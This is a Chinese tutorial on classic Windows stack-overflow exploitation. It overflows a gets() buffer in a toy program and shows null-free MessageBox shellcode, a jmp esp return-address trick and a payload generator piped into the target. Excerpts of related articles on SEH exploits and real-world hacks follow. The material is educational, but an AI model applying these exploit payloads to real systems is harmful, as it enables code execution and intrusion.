栈溢出笔记1.4 黑掉example_2

在1.2节中我们编写了一个有漏洞的程序,通过输入可以控制其EIP,本节,我们要让example_2运行我们的MessageBox。再看看example_2:

/*****************************************************************************/
// example_2: 演示栈溢出
#include <stdio.h>

void get_print()
{
    char str[11];

    gets(str);
    printf("%s\n", str);
}

int main()
{
    get_print();

    return 0;
}
/*****************************************************************************/

问题出在gets函数,要运行MessageBox,我们可以通过gets没有长度限制来输入1.3节中的Shellcode,但实际情况不像 example_4那么简单,有不少问题要解决。

(1)空字符

操作码含有不少空字符,在example_4中没有什么问题,因为它实际上并不是一个字符串,而是一段指令。但是现在,我们只能通过gets函数输入这段指令,因此,它必须被当做一个字符串读入。所以,它不能包含空字符。这个问题容易解决,只要把带有空字符的指令用等效的指令替换就可以了。例如,可以把PUSH 0 换为: XOR EAX,EAX; PUSH EAX。

修改后的程序如下:

/*****************************************************************************/
// example_6 替换产生空字符的指令后的程序
int main()
{
    __asm
    {
        push    ebp
        mov ebp, esp

        xor     eax, eax    // "ld"
        mov ax, 0x646c
        push    eax

        push    0x726f576f  // "oWor"
        push    0x6c6c6548  // "Hell"

        push    0x00000031  // "1"
        push    0x5f656c70  // "ple_"
        push    0x6d617865  // "exam"

        mov ax, 0x6c6c  // "ll"
        push    eax
        push    0x642e3233  // "32.d"
        push    0x72657375  // "user"

        lea     ebx, [ebp-24h]
        push    ebx
        mov ebx, 0x7c801d7b
        call        ebx // LoadLibraryA

        xor     eax, eax
        push    eax
        lea     ebx, [ebp-18h]
        push    ebx
        lea     ebx, [ebp-0ch]
        push    ebx
        push    eax

        mov ebx, 0x77d507ea // MessageBoxA
        call        ebx

        push    eax
        mov ebx, 0x7c81cafa // ExitProcess
        call        ebx
    }
}
/*****************************************************************************/
/*****************************************************************************/
// example_7无空字符的Shellcode
char opcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    int* ret;
    ret = (int*)&ret + 2;
    (*ret) = (int)opcode;
}
/*****************************************************************************/

这里说明一个东西——指令前缀,在操作码中会用冒号隔开,但是冒号本身不是操作码的一部分,提取操作码的时候不要加入冒号。如下:

图27

(2)无法输入的字符

如果只是abcd这种常见字符,很容易输入,但是操作码中含有一些无法输入的字符。例如,example_7中的操作码打印出来是这样子的:

图28

这个问题很容易解决,cmd命令行中有管道命令,因此,可以通过管道命令向example_2输入。用一个程序将Shellcode打印出来,然后通过管道输入到example_2即可。

(3)EIP修改为多少?

这也是最重要的问题,因为我们的目的就是控制EIP执行输入的Shellcode。那EIP修改为多少呢?当然是修改为Shellcode的首地址。但是不像 example_4中,我们明确指定Shellcode的地址,现在我们不知道。这由几种办法来解决,我们先用最笨的办法,即通过Immunity Debugger找到这个地址。

用Immunity Debugger打开example_2,这次,我们输入16个A和4个B,以及一大串C,

在get_print函数中POP EBP处下断点:

图29

查看栈的内容:

图30

BBBB为返回地址(EIP),因此,Shellcode起始地址为0x0012FF1C。

为了黑example_2,需要修改Shellcode,要在首部填充16个A(正常输入+填充EBP),然后填充0x0012FF1C,然后是原Shellcode。你注意到问题了吗?对的,EIP的填充地址0x0012FF1C,包含了空字符,这次,我们无法再替换掉它,而且,地址必须为四字节。因此,这种方法行不通。看来,想偷下懒都不行了。

我们需要另辟蹊径了。那么,还有什么是与栈上这个地址有关呢?与栈最密切的是EBP,ESP这两个寄存器,说到这,你可能已经知道了。是的,函数RET指令返回时取走保存的EIP之后,ESP指向的位置就是Shellcode的初始地址。

图31

因此,要让程序执行Shellcode,只需要一句 jmp esp就行了。所以,我们应该把EIP填充为一句jmp esp指令的地址,这样,EIP返回后,执行一句jmp esp,然后就跳转到Shellcode开始执行。但是,example_2中没有jmp esp,因此,我们需要在其它模块中找一条该指令。在Immunity Debugger中,右键Search for——All commands in all modules,键入jmp esp,查找结果如下:

图32

在MSVCR90D.dll和kernel32.dll中各找到一条,我们使用kernel32.dll中的,记下其地址:0x7c86467B。这个地址是可用的,不包含空字符。

下面是输出Shellcode的程序,它将通过管道将Shellcode输入给example_2:

/*****************************************************************************/
// example_5 打印Shellcode
#include <stdio.h>

char opcode[] = "AAAAAAAAAAAAAAAA\x7B\x46\x86\x7c"
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    printf("%s", opcode);
}
/*****************************************************************************/

下面是见证奇迹的时刻,在命令行下输入如下内容:

图33

弹出了MessageBox,我们成功的黑掉了具有漏洞的example_2。

时间: 2024-10-10 22:18:28

栈溢出笔记1.4 黑掉example_2的相关文章

栈溢出笔记1.10 基于SEH的栈溢出

上节中简单地讲述了SEH的原理及逻辑结构.本节,要继续讲述SEH的物理结构及如何利用它进行栈溢出. 先来看SEH的物理结构.先回想上节中的图51,我们在程序停在gets函数输入的时候查看SEH链,看到了一大堆异常处理器,而当我们把断点设置在gets函数下一条语句的时候,其中很多没有了,这给我们一个直观的感觉:SEH链保存在栈上. 下面,我们就来看看栈上的SEH链.我们使用的是example_10,即添加了一个自己的异常处理块的程序(编译时继续采用前面教程中的设置,即关闭缓冲区安全检查).依然把断

我是如何黑掉英国间谍软件公司Gamma的

前几天,有黑客<入侵了英国间谍软件公司Gamma>.本文翻译自黑客自己公布的入侵指南.详细的介绍了从信息收集,到发现目标站点,以及进行源码审计,绕过waf注入,尝试提权服务器的整个过程. 0×00 开篇 我写这篇文章不是为了吹嘘自己有多牛逼,使用了多高深的技术去搞定Gamma.我只是想揭开黑客技术神秘的面纱,告诉人们黑客技术很普通,你也可以利用黑客技术去反抗这个世界上那些见不得人的事.如果你没有任何编程或者hacking的经验,那些下面的文章可能会看起来像天书一样.没有关系,文章最后的参考资料

从“黑掉Github”学Web安全开发

Egor Homakov(Twitter: @homakov 个人网站: EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——<How I hacked Github again>(墙)说明了这5个安全bug以及他把github黑掉的思路.Egor的这篇文章讲得比较简单,很多地方一笔带过,所以,我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug.希望这篇文章能

栈溢出笔记1.9 认识SEH

从本节开始,我们就要研究一些稍微高级点的话题了,如同在1.2节中看到的,Windows中为抵抗栈溢出做了很多保护性的检查工作,编译的程序默认开启了这些保护.如果我们不能绕过这些保护,那么我们的Shellcode也就是一个玩具而已,什么都做不了. 我们从SEH(结构化异常处理)开始. 这篇文章讲SEH简洁易懂:http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/ 因此,本文的前面部分就直接对其进行翻

栈溢出笔记1.1 函数调用过程

选择从栈溢出开始学习Shellcode的编写,是因为在没有保护机制(栈Cookie,ASLR,DEP,SafeSEH)的系统中使用栈溢出是一件很简单的事情.栈区随着函数调用动态变化,每个函数调用时在栈上占用的空间称为栈帧.用一个示例来说明栈上保存的内容及动态变化的过程. 下面是一个程序,生成一个对话框显示一条"Hello World!"消息.下面是该程序的C代码: 在VS2008中用Debug版编译之后,拖入Immunity Debugger中: 图1 example_1.exe入口点

读书笔记 - 《美国黑室》

这本小书真是太有意思了,从未想过居然有这种奇书.作者在一战前后为美国政府组建黑室破译密电长达16年之久,然后黑室被国务卿关闭,作者被扫地出门.之后,作者干了一件让人瞠目结舌的事情,他把黑室的经历写成书公开出版,书里居然还包含了大量密码学.谍报战的详情!这样做在当时的美国并不违法,于是美国政府立即着手起草了法案:编写或发表与政府机密有关的消息都是一种犯罪行为,可以判处长达10年的监禁.虽然里面的密码学基本全落伍了,但如此奇书,怎可不读!

黑客教程:如何在1分钟内黑掉任何网站!绝密分享!

黑客教程:如何黑网站:如果攻击别人电脑:如何破解别人密码!!! 一些黑客惯用手段 包学包会 特别提醒:百度是黑不了的,不要试. 教程一:如何黑网站 方法一: 第一步: 打开IE5.5以上版本,或FireFox1.5以上版本,并且输入目标网址,打开需要被黑的论坛. 第二步: 取一定浓度黑色墨汁少许,口含,将嘴对准你的屏幕正中,喷!!! 第三步: 抬眼看:黑了!!!它黑了!!! 方法二: 第一步: 打开IE5.5以上版本,或FireFox1.5以上版本,并且输入目标网址,打开需要被黑的论坛. 第二步

栈溢出笔记1.6 地址问题(1)

前面的Shellcode中,我使用的都是自己XP机器上的硬编码地址.不论什么时候在Shellcode中使用硬编码地址都不是个好主意,这一点与动态库的重定位相似,一旦系统环境和程序编译设置发生变化.Shellcode差点儿肯定会失效.因此.我们要找到更好一点的方法. 前面的Shellcode中,我用到了例如以下几个硬编码地址.它们的含义例如以下: 当中.LoadLibraryA的作用比較特殊,我们用它来载入user32.dll库. 如今我们要换掉这些硬编码地址.那么,怎样得到这些API函数的地址呢

栈溢出笔记1.2 覆盖EIP

1.1节中我们说到可以利用栈溢出来破坏栈中原有的内容,这一节中,我们就来看看如何争夺到返回地址(EIP),使得我们可以随意控制它的值,这样我们就可以控制程序.来看一个经典的程序: 这个程序的get_print函数中定义了一个大小为11个字节的数组,正常情况下我们的输入应该最多为10个字符(还有一个\0结束符),而gets函数没有明确定义输入的大小,因此,我们可以输入超过10个字符,从而造成栈溢出.如下,输入10个'A',一切正常: 图8 当我输入11个'A'时,虽然顺利打印出来11个'A',但是